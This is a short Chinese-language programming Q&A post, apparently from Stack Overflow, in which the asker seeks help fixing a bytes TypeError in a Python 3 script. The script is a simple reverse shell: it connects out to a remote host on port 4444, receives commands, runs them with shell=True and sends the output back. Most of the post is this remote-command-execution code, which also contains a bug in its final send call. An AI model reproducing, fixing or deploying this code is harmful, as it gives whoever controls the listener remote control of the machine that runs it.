【发布时间】:2020-03-04 17:29:45
【问题描述】:
我正在尝试将windows 系统命令与python3 上的远程PC 一起使用,但它似乎不起作用。
当我尝试键入“dir”以列出来自远程 pc 的命令时,它在我的 windows 终端上给了我一个异常。
raise TypeError('bytes args is not allowed on Windows')
我知道我需要将它转换为字节,我猜?但是如何使用变量来做到这一点?
import socket
import subprocess
def execute_system_command(command):
return subprocess.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.178.87", 4444))
connection.send(b"\n[+] Connection established.\n")
command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(b(command_result))
connection.close()
【问题讨论】:
-
什么阻止你使用没有
b标签?即connection.send("\n[+] Connection established.\n")
标签: python python-3.x window